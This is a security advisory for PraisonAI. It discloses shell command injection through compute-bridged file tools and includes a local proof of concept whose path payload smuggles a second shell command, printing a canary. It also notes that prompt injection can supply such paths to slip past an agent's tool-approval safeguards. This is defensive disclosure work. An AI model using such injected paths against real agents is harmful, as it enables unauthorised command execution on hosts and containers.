PYSEC-2026-3522 
# Compute-bridged file tools allow shell command injection

## Summary

`LocalManagedAgent` / `SandboxedAgent` compute bridging wraps
`read_file`, `list_files`, and `write_file` when a compute provider is
attached. The bridge converts those file operations into shell command strings
using raw path arguments, then sends those strings to shell-backed compute
providers.

An attacker who can influence a file-tool path argument can break out of the
quoted path and execute arbitrary shell commands in the compute environment.
With `compute="local"`, commands execute through the local subprocess compute
provider on the host. With Docker, commands execute in the container.

## Affected Product

- Repository: `MervinPraison/PraisonAI`
- Package: `praisonai`
- Component: `src/praisonai/praisonai/integrations/managed_local.py`
- Confirmed affected:
  - `v4.6.10`
  - `v4.6.56`
  - `v4.6.57`
  - current `main` at `2f9677abb2ea68eab864ee8b6a828fd0141612e1`
- Confirmed not affected:
  - `v4.6.9`
  - `v4.6.1`
  - `v4.5.149`
- Suggested affected range: `>= 4.6.10, <= 4.6.57`

## Root Cause

Current `managed_local.py` defines the bridged tool set:

```python
compute_bridged_tools = {"execute_command", "read_file", "write_file", "list_files"}
```

For file tools, `_bridge_file_tool()` constructs shell command strings:

```python
command = f'cat "{filepath}"'
command = f'ls -la "{directory}"'
command = f'cat > "{filepath}" << "EOF"\n{content}\nEOF'
```

The local compute provider executes the string with
`asyncio.create_subprocess_shell(...)`; the Docker compute provider executes it
with `["sh", "-c", command]`.

The bridge keeps the low-risk `read_file` / `list_files` tool names and
signatures while changing their execution primitive into shell interpretation.

## Why This Is Not Intended Behavior

Compute bridging itself is documented and intentional. The vulnerability is
that file path data is interpreted as shell syntax.

The normal `read_file` and `list_files` implementations treat the same payload
as a literal path and do not expand shell metacharacters. The approval registry
also marks `execute_command` as `critical`, while `read_file` and `list_files`
are not dangerous-tool entries.

## Impact

An application that exposes a PraisonAI agent using `LocalManagedAgent` or
`SandboxedAgent` with a compute provider and a restricted file-tool set can be
tricked into executing shell commands through a path argument to `read_file` or
`list_files`.

This can bypass least-privilege tool configuration and tool-approval
expectations. A prompt-injection path, chat endpoint, automation webhook, or
other user-controlled agent task can supply the file path argument without the
operator granting `execute_command`.

## Local PoV

The PoV is local-only and harmless. It uses an environment canary and compares
normal file tools against compute-bridged file tools.

Minimal inline reproducer:

```python
import os
from pathlib import Path

from praisonai.integrations.managed_local import LocalManagedAgent, LocalManagedConfig
from praisonaiagents.tools import list_files, read_file

workdir = Path(".prai-cand-006-pov-workdir")
workdir.mkdir(exist_ok=True)
(workdir / "safe.txt").write_text("SAFE_CONTENT\n", encoding="utf-8")

canary = "PRAISONAI_CAND_006_COMMAND_EXECUTED"
os.environ["PRAI_CAND_006_CANARY"] = canary
payload = 'missing"; printf "$PRAI_CAND_006_CANARY"; #'

# Control: normal file tools treat the payload as a literal path.
normal_read = read_file(str(workdir / payload))
normal_list = str(list_files(str(workdir) + '"; printf "$PRAI_CAND_006_CANARY"; #'))

cfg = LocalManagedConfig(
    name="prai-cand-006-poc",
    tools=["read_file", "list_files"],
    working_dir=str(workdir),
)
managed = LocalManagedAgent(config=cfg, compute="local")
tools = {tool.__name__: tool for tool in managed._resolve_tools()}

bridged_read = tools["read_file"](payload)
bridged_list = tools["list_files"]('."; printf "$PRAI_CAND_006_CANARY"; #')

print("normal_read_contains_canary", canary in normal_read)
print("normal_list_contains_canary", canary in normal_list)
print("bridged_read_contains_canary", canary in bridged_read)
print("bridged_list_contains_canary", canary in bridged_list)
```

Command:

```bash
python3 \
  submission-bundle/praisonai-prai-cand-006-compute-file-tool-command-injection/poc/prai_cand_006_compute_file_tool_command_injection.py \
  --repo artifacts/repos/praisonai-current
```

Current-head result:

```json
{
  "describe": "v4.6.57-4-g2f9677ab",
  "vulnerable": true,
  "normal_controls": {
    "read_file_payload_contains_canary": false,
    "list_files_payload_contains_canary": false
  },
  "bridged_results": {
    "read_file_payload_contains_canary": true,
    "list_files_payload_contains_canary": true
  },
  "approval_registry": {
    "execute_command_risk": "critical",
    "read_file_risk": null,
    "list_files_risk": null
  }
}
```

The payload used by the PoV is:

```text
missing"; printf "$PRAI_CAND_006_CANARY"; #
```

Normal `read_file` treats this as a literal missing filename. The bridged tool
constructs:

```sh
cat "missing"; printf "$PRAI_CAND_006_CANARY"; #"
```

and returns the canary from the compute shell.

## Suggested Fix

Do not implement file operations by constructing shell command strings from
path/content arguments.

Preferred fix:

1. Add provider-native file APIs for read, write, and list operations, or pass
   arguments as structured argv where the provider supports it.
2. Preserve the normal file-tool path validation and workspace boundary checks
   for compute-bridged file tools.
3. Treat `write_file` content as data, not shell source. The current heredoc
   construction is also unsafe if content can contain the delimiter.
4. Add regression tests that use paths containing `"`, `;`, `$()`, backticks,
   newline, and `#` and assert no shell execution occurs.
5. Keep `execute_command` as the only bridge path that intentionally accepts a
   shell command string, with critical approval semantics.

A minimal stopgap is to remove `read_file`, `list_files`, and `write_file` from
`compute_bridged_tools` until safe provider-native file operations exist.

## Suggested Severity

The vector assumes an attacker has low-privilege access to an agent interface
that can request file-tool use. If a deployment exposes such an agent without
authentication, `PR:N` may be appropriate.
CVSS v3.1 score: 8.8